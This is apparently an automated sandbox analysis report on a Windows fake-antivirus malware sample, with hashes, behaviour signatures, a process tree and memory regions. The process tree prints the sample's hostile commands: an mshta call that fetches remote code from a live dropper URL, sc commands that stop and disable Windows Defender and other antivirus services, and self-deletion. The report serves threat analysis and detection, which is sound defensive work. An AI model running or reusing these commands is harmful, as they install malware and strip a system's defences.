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Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    25/09/2024, 05:06

General

  • Target

    f5403e8870e5c8be62d3e8d5b75d1124_JaffaCakes118.exe

  • Size

    1.8MB

  • MD5

    f5403e8870e5c8be62d3e8d5b75d1124

  • SHA1

    a7558db6c81fc772773413ae6dc6680fdc996b15

  • SHA256

    d86b1e40b8cc1ef9927a6d769f19d0f55b5e3fe40742e15ecc942046f0305573

  • SHA512

    56682ae5241f6d995e18860472a88b6f921e4adf6947b745cc6968a6df551eacc1f4c4105afa2544b48b8ff8a4d76adb6f4fb1996fe179ac95739356655f1dc4

  • SSDEEP

    49152:UupudP6G4ldxoicRQBBp4kYWdipwhNi+3g7YnMtE:4t6DdxPt26diy++3g7YMu

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.updatesecstorage.info/?0=112&1=3&2=1&3=52&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=vpwgfagqiu&14=1

Signatures

  • Disables service(s) 3 TTPs
  • UAC bypass 3 TTPs 3 IoCs
  • Disables taskbar notifications via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 28 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f5403e8870e5c8be62d3e8d5b75d1124_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f5403e8870e5c8be62d3e8d5b75d1124_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Users\Admin\AppData\Roaming\Protector-hdkt.exe
      C:\Users\Admin\AppData\Roaming\Protector-hdkt.exe
      2⤵
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2888
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://galaint.updatesecstorage.info/?0=112&1=3&2=1&3=52&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=vpwgfagqiu&14=1"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2924
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2944
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2732
      • C:\Windows\SysWOW64\sc.exe
        sc stop msmpsvc
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2360
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2044
      • C:\Windows\SysWOW64\sc.exe
        sc config ekrn start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1048
      • C:\Windows\SysWOW64\sc.exe
        sc stop AntiVirService
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1832
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirService start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2020
      • C:\Windows\SysWOW64\sc.exe
        sc config AntiVirSchedulerService start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2728
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\F5403E~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\Protector-hdkt.exe

    Filesize

    1.8MB

    MD5

    f5403e8870e5c8be62d3e8d5b75d1124

    SHA1

    a7558db6c81fc772773413ae6dc6680fdc996b15

    SHA256

    d86b1e40b8cc1ef9927a6d769f19d0f55b5e3fe40742e15ecc942046f0305573

    SHA512

    56682ae5241f6d995e18860472a88b6f921e4adf6947b745cc6968a6df551eacc1f4c4105afa2544b48b8ff8a4d76adb6f4fb1996fe179ac95739356655f1dc4

  • memory/2888-94-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-100-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-66-0x0000000004B60000-0x0000000004B70000-memory.dmp

    Filesize

    64KB

  • memory/2888-59-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-99-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-98-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-97-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-96-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-67-0x0000000004B60000-0x0000000004B70000-memory.dmp

    Filesize

    64KB

  • memory/2888-95-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-90-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-91-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-93-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-89-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-88-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-87-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-85-0x0000000004B60000-0x0000000004B70000-memory.dmp

    Filesize

    64KB

  • memory/2888-83-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/2888-84-0x0000000004B60000-0x0000000004B70000-memory.dmp

    Filesize

    64KB

  • memory/2888-82-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/3056-18-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-8-0x00000000033C0000-0x0000000003630000-memory.dmp

    Filesize

    2.4MB

  • memory/3056-31-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-30-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-29-0x00000000033C0000-0x00000000033C3000-memory.dmp

    Filesize

    12KB

  • memory/3056-28-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-27-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/3056-26-0x0000000000340000-0x000000000039A000-memory.dmp

    Filesize

    360KB

  • memory/3056-25-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-24-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-23-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-22-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-21-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-20-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-19-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-33-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-17-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/3056-16-0x00000000033C0000-0x00000000033C1000-memory.dmp

    Filesize

    4KB

  • memory/3056-15-0x00000000033D0000-0x00000000033D1000-memory.dmp

    Filesize

    4KB

  • memory/3056-14-0x00000000033D0000-0x00000000033D1000-memory.dmp

    Filesize

    4KB

  • memory/3056-13-0x00000000033C0000-0x00000000034C0000-memory.dmp

    Filesize

    1024KB

  • memory/3056-12-0x00000000033C0000-0x00000000034C0000-memory.dmp

    Filesize

    1024KB

  • memory/3056-11-0x00000000033C0000-0x00000000034C0000-memory.dmp

    Filesize

    1024KB

  • memory/3056-10-0x00000000033C0000-0x0000000003630000-memory.dmp

    Filesize

    2.4MB

  • memory/3056-9-0x00000000033C0000-0x0000000003630000-memory.dmp

    Filesize

    2.4MB

  • memory/3056-32-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-7-0x00000000033C0000-0x0000000003630000-memory.dmp

    Filesize

    2.4MB

  • memory/3056-6-0x00000000003F0000-0x00000000003F1000-memory.dmp

    Filesize

    4KB

  • memory/3056-5-0x0000000000820000-0x0000000000821000-memory.dmp

    Filesize

    4KB

  • memory/3056-4-0x0000000000860000-0x0000000000861000-memory.dmp

    Filesize

    4KB

  • memory/3056-3-0x0000000000840000-0x0000000000841000-memory.dmp

    Filesize

    4KB

  • memory/3056-2-0x0000000000850000-0x0000000000851000-memory.dmp

    Filesize

    4KB

  • memory/3056-1-0x0000000000800000-0x0000000000801000-memory.dmp

    Filesize

    4KB

  • memory/3056-0-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/3056-34-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-35-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-36-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-37-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-38-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-39-0x0000000003410000-0x0000000003411000-memory.dmp

    Filesize

    4KB

  • memory/3056-40-0x00000000033D0000-0x00000000033D1000-memory.dmp

    Filesize

    4KB

  • memory/3056-41-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/3056-42-0x00000000033F0000-0x00000000033F1000-memory.dmp

    Filesize

    4KB

  • memory/3056-43-0x0000000000230000-0x0000000000231000-memory.dmp

    Filesize

    4KB

  • memory/3056-44-0x0000000003400000-0x0000000003401000-memory.dmp

    Filesize

    4KB

  • memory/3056-45-0x00000000033E0000-0x00000000033E1000-memory.dmp

    Filesize

    4KB

  • memory/3056-53-0x0000000004550000-0x0000000004933000-memory.dmp

    Filesize

    3.9MB

  • memory/3056-54-0x0000000004550000-0x0000000004933000-memory.dmp

    Filesize

    3.9MB

  • memory/3056-57-0x0000000000400000-0x00000000007E3000-memory.dmp

    Filesize

    3.9MB

  • memory/3056-58-0x0000000000340000-0x000000000039A000-memory.dmp

    Filesize

    360KB

  • memory/3056-65-0x00000000033C0000-0x0000000003630000-memory.dmp

    Filesize

    2.4MB